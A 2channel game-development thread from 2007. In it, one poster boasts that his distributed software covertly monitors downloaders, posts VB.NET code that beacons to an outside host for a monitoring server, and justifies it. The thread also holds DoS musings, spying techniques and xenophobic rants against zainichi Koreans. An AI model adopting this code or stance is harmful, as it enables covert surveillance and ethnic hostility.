最初から有料化を匂わせる
自分は何も出来ないので企画屋です

251:名前は開発中のものです。
07/12/24 09:26:35 F4nBnH30
X'Masは祝日ですらないがな。
異教徒どもの特別な日なんだ。人類の平和のために応援してやろうぜ。

252:名前は開発中のものです。
07/12/24 09:50:43 el926tIx
このスレ基本的に叩きばかりだしなぁ
無難な企画はスルーされやすいよね

253:名前は開発中のものです。
07/12/24 11:49:10 vSGEO8zs
＞このスレ基本的に叩きばかりだしなぁ

ですよねぇ
半年前から激怒しっぱなしですよ
自分達は何も、微塵も開発していないくせに
汎用の２ちゃんねらー排除ツールとか売ってないのかしら
本当に「邪魔」

254:名前は開発中のものです。
07/12/24 11:53:00 vSGEO8zs
しかし今日起きてみたら
色々データが来ていて笑えますな
例えばですね、ゲーム開発の形跡の全くない人が書き込んでますよ
何か毎日２ちゃんねるの新規レスにへばりついて
ＩＥとエロゲを往復している人もいる

・・・・気持ち悪いｗ

255:名前は開発中のものです。
07/12/24 11:54:32 vSGEO8zs
まぁお前ら一生監視してやるよ
案外こういうソフトは無防備にＤＬするんだな・・・

256:名前は開発中のものです。
07/12/24 12:25:04 zddRCj3a
一生監視とかキモイのはお前じゃねえかｗ
ＩＥとエロゲ往復してるのもお前だろ。ＩＥなんて使わねえよ。
あと排除ツールなんてなくてもお前が2chでレスしなければ誰も行かないから
mixiにでも引き篭もってろ

257:名前は開発中のものです。
07/12/24 12:31:53 aw2boxJg
>>レスくれた色々な方
なるほど。了解です。（何が）
無難ということは、まぁ悪く無いという事だとポジティブに受け入れつつ、
また、製作が進んだら書き込んでみます。
期待してくれてる方（少なくとも一人発見！）
がんばりますので宜しくです。

258:名前は開発中のものです。
07/12/24 12:43:10 IfZyuACp
まあ野暮だとはおもうが、そのソフトを隔離して監視したんだが一切通信してる様子は無かった件
行き先が判ればそこをDOS攻撃でもしよーかなと思ったんだけどね

あと>>254は蛇足だと思うぞ、釣りだって自分からバラしてるようなもんじゃん

259:名前は開発中のものです。
07/12/24 13:07:39 z6srLKkd
スーパーハッカーの友達にｒｙ

260:名前は開発中のものです。
07/12/24 13:35:28 +4dc7RfZ
>>252
そんな事は無い。まともな募集がくれば、いわつる叩きも書き込み自粛するぞ。

261:名前は開発中のものです。
07/12/24 14:12:05 vSGEO8zs
>>258
　通信部のプログラム。URLﾘﾝｸ(darkhouse.milan.jp)　にアクセスして、
　監視サーバーのアドレスを取得しさらにタイマーで継続的にアクセス。
Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
If bNowebF = False Then
If bAccessTested = False Then
DestU = Mid$(WebBrowser1.DocumentText, 168)
DestU = Mid$(DestU, 1, Len(DestU) - 22)
bAccessTested = True
End If : End If
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable() Then
WebBrowser1.Navigate(New Uri("URLﾘﾝｸ(darkhouse.milan.jp)"))
Else
bNowebF = True : Timer1.Enabled = False
End If
End Sub

Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If bNowebF = False Then
If Microsoft.VisualBasic.Left(DestU, 1) = "h" Then _
WebBrowser1.Navigate(New Uri(DestU))
End If
End Sub

262:名前は開発中のものです。
07/12/24 14:14:06 vSGEO8zs
>>256
プロセスリストを取得してますから間違いないです
あなたじゃなかったというだけ

263:名前は開発中のものです。
07/12/24 14:29:57 vSGEO8zs
＞そのソフトを隔離して監視したんだが一切通信してる様子は無かった件

本当ですかね？
ＬＡＮのランプが点滅するのは避けられないので
それでばれるのを恐れたのですが

＞行き先
URLﾘﾝｸ(www51.tok2.com)
以下のフォルダにＦＴＰでアクセスして、色々操作しています
でもＤＯＳ攻撃なんて迷惑なことやめてください

264:名前は開発中のものです。
07/12/24 14:34:33 +4dc7RfZ
まぁ、今日は皆何かと忙しい日だから、レスもらえるまでもうちょっと落ち着いて待て。

265:名前は開発中のものです。
07/12/24 14:35:32 NfwSFD5m
不正アクセス防止法違反おつ

266:名前は開発中のものです。
07/12/24 15:22:54 lFYzTzlA
叩きはクレーム　クレームってのは開発側からしたらかなりありがたいことなんだよ

267:名前は開発中のものです。
07/12/24 15:36:26 kjSsMvje
んなわけないじゃん。

「俺様が貴重かつ大切なクレームを徹底的に付けてやるから、
制作厨どもは土下座して有り難がれ」

とでも言いたいのか。

普通の感想・要望の方がありがたいし、
無価値なものについては黙っていてくれた方がよっぽど嬉しい。

268:名前は開発中のものです。
07/12/24 15:36:54 /RsKWXCE
俺ネットの法律とか知らないけど、
これ弁護士に情報提供するために集めてんの？
弁護士にどうやって集めたのか聞かれたらどうすんだ。
こっちのほうが犯罪臭くね？　無実の人もいるだろうし。

ボクの悪口言ってる人がクラスにいるんで
部屋へ忍び込んで日記盗んできました、ってか。

269:名前は開発中のものです。
07/12/24 15:42:32 z6srLKkd
クレームにはいいクレームと悪いクレームがある
いいクレームは同じ苦しみを経験した先人の意見と遊び好き素人の何気ない一言
悪いクレームとは言うことが思いつかないけど何か言おうとよく考えた意見

270:名前は開発中のものです。
07/12/24 15:50:54 vSGEO8zs
>>268
証拠収集の方法は合理性、合目的性を満たすことが要件とされます
「証拠能力の争い」というのもありますが
収集行動自体が犯罪とは余り聞かないですね
所持する情報自体に刑事罰付きの法益を認めている法律としては
不競法などがありますが、
今回の件などは抵触するとはとても思えませんし

２ちゃんねらーの方が先に仕掛けてきたのですよ
そこをお忘れなく。先制防衛は許されないですがね
こちらは今回の一連の爆撃は
必要な事後的防衛的行動と考えています

271:名前は開発中のものです。
07/12/24 15:55:10 z6srLKkd
いろいろつっこみたいが賢くしてやんね

272:名前は開発中のものです。
07/12/24 16:08:04 RuhoK/my
メンバー募集の話しろよ

次

273:名前は開発中のものです。
07/12/24 16:37:32 Vdk6jdBb
>>270
横から言わしてもらえば、あなたのやっている事は立派な不正アクセス禁止法違
反です。これは刑法の特別法なので立派な刑法犯ですね。ようするに前科が付く
と言う事です。
１年以下の懲役または５０万円以下の罰金だそうですよ？

まあきちんと謝罪して誠実に行動すれば不起訴か罰金で済むでしょうが。

というか以前さんざん忠告したのによりによって犯罪行為に走るとは・・・
開いた口が塞がらない。

274:名前は開発中のものです。
07/12/24 16:39:03 kjSsMvje
賢者が賢者を知るように、愚者は愚者同士で構い合う。
こうしてバカが増幅されてゆくのです。

275:名前は開発中のものです。
07/12/24 16:41:33 /TBECi1J
おれはきもいという言葉が嫌いだが、それをあえて使いたくなるくらいID:vSGEO8zs がきもい。
スレ違いだと分かってるのに衝動的に書き込んでしまうくらいきもい。スレ汚しごめん。
本当なにこいつ。寒気がする。２ちゃんねらーとかくくってるし。
韓国人が日本人は戦前の大罪があるから日本女はレイプしていいって言ってるのとなんも変わらん。
文章がいちいち悪徳業者みたいだし、句読点は使わないし、普通に期待してDLした人間を平気で監視するし（ｒｙ
HP行かなくて本当に良かった。パーティ前に糞な気分にさせやがって。
ID:vSGEO8zs は一部の人間に非難されただけで、人間全部を信じられなくなっているかわいそうな奴。メリークリスマス！

276:名前は開発中のものです。
07/12/24 18:46:30 lFFnwJ6i
っていうか、「IEでどこにアクセスしたか」を監視するには
パケットキャプチャを載せたProxy鯖をIEと回線の間に挟むか、
RootKitみたいにWindowsカーネルないしネットワークドライバを乗っ取るかしないと
出来ないっすよ？

エロゲはexe名だけで分かるけどwwwww

277:名前は開発中のものです。
07/12/24 18:50:43 NfwSFD5m
ウィンドウのタイトルで判断するとか
画面のキャプチャ送るとか
通信先の一覧送るだけでもできるし
いろいろ方法はあるだろう

278:名前は開発中のものです。
07/12/24 18:56:42 ljEI97xy
>>275
そう書きたくなる気持ちは分かる

でもやっぱりスルーするのが最善だと思うよ
今のID:vSGEO8zsは話を聞ける状態ではないだろうし

279:名前は開発中のものです。
07/12/24 19:09:08 lFFnwJ6i
>>277
なるほど、その手がありますた！
でも、タイトルじゃ書き込み内容は分からないし、
画面キャプチャ→差分抽出→圧縮→アップロードの流れなんて
ストリーミング動画並みの鯖負荷もいいところだし、(10秒間隔とか?)
それで取れる情報はあまり面白い物ではなさそうっすねぇ…。

280:名前は開発中のものです。
07/12/24 19:14:17 x1P+uqe/
だからバカにこれ以上知恵つけんなって

281:名前は開発中のものです。
07/12/24 19:14:36 qHp7GaU3
メリー・クリスマス！
半年に一匹はこういうのが沸くンよこの板はｗｗ

糞募集で人が集まらないとすぐ人の所為にする。
ちゃんとした募集なら突っ込みはないし、
ツッコミがあってもそれなりに対応していれば多少は擁護つくのにね。
（本来このスレはそれなりのレベルの募集スレだから
あまりボロボロ募集は向かないのだが…）
それでも大人しくしていればいいんだが、
下らない小細工して自分自身にトドメを刺す。

というわけでまともに取り合う価値無し。
できればスルーして症状の進行を遅らせるのが愛ってもんさ。

282:宅配
07/12/24 21:33:07 MdWioBOc
ＤＬしちゃったじゃないか・・・

283:名前は開発中のものです。
07/12/24 21:41:09 x1P+uqe/
そして宅配はなんでコテやねん
トリップもつけんかい

284:名前は開発中のものです。
07/12/24 23:33:42 vSGEO8zs
>>281
「敵にまわすと恐ろしいが味方につけると頼りない」
でおなじみ２ｃｈの住人さん

仰る通り半年後、
より強力なネラー排除コードを開発してから来ますんで
せいぜいそちらも何か用意しておくんですな
コード相手に生身の人間が幾ら叩いたり意気消沈を図ったところで、
無駄だと思いますが

在日派からは人権擁護法案で封殺され
セレブ日本人からは技量で封殺され
哀れな奴ら・・

285:名前は開発中のものです。
07/12/24 23:43:42 zddRCj3a
ネラー排除コード開発するより先に頭の病院行っとけ。
あと自分以外は開発能力ないみたいに思ってるようだけど意見してる奴の大半は
C++もJavaも使えない；；とか言ってる奴より断然上なのばっかだから。

286:名前は開発中のものです。
07/12/24 23:57:18 qHp7GaU3
クリスマスにこれだけ半狂乱になるんだから、
半年後と言わずバレンタインデーにも再びID:vSGEO8zsは湧くだろう。
メデタシ・メデタシ。

メリー・クリスマス！

287:名前は開発中のものです。
07/12/25 00:14:26 EFT5OR5C
>>284
先に頭の病院行っとけ、だって？

ただ罵声を浴びせるだけの面々が、なぜ「断然上なのばっか」？

人格的に落第点、これだけでも十分敵にする理由になる
正直言って失望しきりだよ
お前ら、現実に民主党は止められてないじゃないか
ただやったことといえば人を不快にしているだけ

288:名前は開発中のものです。
07/12/25 00:18:40 EFT5OR5C
２ちゃんねるが出来て、８年だっけ？
この間、何か実際に政治的影響力を及ぼしたの？
ひろゆきは本当は金儲けしか考えてないんじゃないの？
団塊や団塊ジュニア世代にありがちな発想だし

在日と戦う姿勢は立派だと思うけど
ただ利用者が勝手に熱を吹いている構図だと思うがね

289:名前は開発中のものです。
07/12/25 00:21:14 dJTK3FXb
2ちゃんねるが嫌いなのに2ちゃんねるに来る理由は何?

290:名前は開発中のものです。
07/12/25 00:37:00 EFT5OR5C
>>285
２ちゃんねるは端的に言えば「正義感溢れる若者の集団」ですからね
そんなのが日本の政治を動かした例
○室町幕府成立→イケイケで南朝を立てたが武家政治を否定され大混乱
　封殺を図ろうとするが同志達に恩賞を与えすぎて、上意下達が不十分で対抗、
　南北朝合一が遅れ、地方の合戦での怨恨や軍事力が残る
　→後の応仁の乱や戦国の混乱の遠因に
○信長政権→信勝を擁立する老臣に対抗する為若手を派手に登用
　→イケイケで京に手を出すが老獪な義昭に振り回される
　→義昭を潰したと思ったら今度は老境の明智光秀に後ろからブスリ
　→光秀を潰して信長様の続きを走った気持ちだけは若い秀吉は
　　老獪な家康に全てを奪われる
○島津明治政権
　→イケイケで毛利家が幕府に反乱するが、第一次長州征伐は大敗。
　　このとき毛利を救ったのは結局、若者ではなく家老たちの外交と切腹。
　→薩摩と長州が同盟するが、仲介役の若手の坂本竜馬は薩摩と朝廷の操り人形という説が
　　最近は有力。実際、後年の徳川慶喜はこの島津家のノーリスク政策を卑怯と繰り返し述べる
　→奥羽越同盟や五稜郭の悲劇、また倒幕の功臣がにわか出世する一方で、
　　西南戦争で当の島津家臣が多数討たれるなど、日本人に対し恐ろしく辛く当たる一方で
　　（つい、名文で幕府に対抗しようと朝廷を安易に介入させたことが一因）
　　信用できる味方を減らしすぎた反動で、半島に多額の殖産投資の筋違い
　　（この誤りが今、どんな結果になっているかは君達が一番よく知っているはず）

291:名前は開発中のものです。
07/12/25 00:38:30 EFT5OR5C
○昭和初期の軍閥政権
　　→５・１５事件など、若者を煽っては軍部制服組の武功にすり替え
　　→上は上で、防衛大等の若手学閥集団が出来、外征の失態が見過ごされる
　　→中・ソ相手の防共戦では厳しい抵抗を受けたノモンハンで及び腰、
　　　一方で毛沢東派の安易な挑発には完全に誘われ、日中戦争→太平洋戦争へ
　　→その軍部内でも若年時のドイツ留学組が発言権を増大→日独伊三国同盟→太平洋戦争へ
　　→戦後の混乱の中、在日がこの国を乗っ取る

そんぐらい。当然敵視しますよ

292:名前は開発中のものです。
07/12/25 00:41:50 a/8xYA/E
まあとりあえず政治だ在日だ民主党だを語りたかったら、
それ相応の板に行けばいいと思うんだ。
ゲ製で２ｃｈの有用性について演説ぶちまけても空しいだけでしょ。

２ｃｈ住人が「正義感溢れる若者の集団」だとは、
俺にはとても思えんが。

293:名前は開発中のものです。
07/12/25 00:44:29 vvt482tV
「正義感溢れる若者の集団」だった連合赤軍が”日本の政治を動か”したか？ドアホが

294:名前は開発中のものです。
07/12/25 00:47:02 U9jJ+3/S
頭が年中メリークリスマス

295:名前は開発中のものです。
07/12/25 00:48:08 a/8xYA/E
あーそれともう一つ。
２ｃｈに毒されていない人間には、「在日は敵だから戦わなきゃならん」
なんていう発想は普通出てこない。俺だって在日の友人いるのに。

おまいの並べてる情報群には、
既におまいの大嫌いな２ｃｈ寄りのバイアスがかかっていると思う。
その時点で既に負けてると思うんだがどうか。

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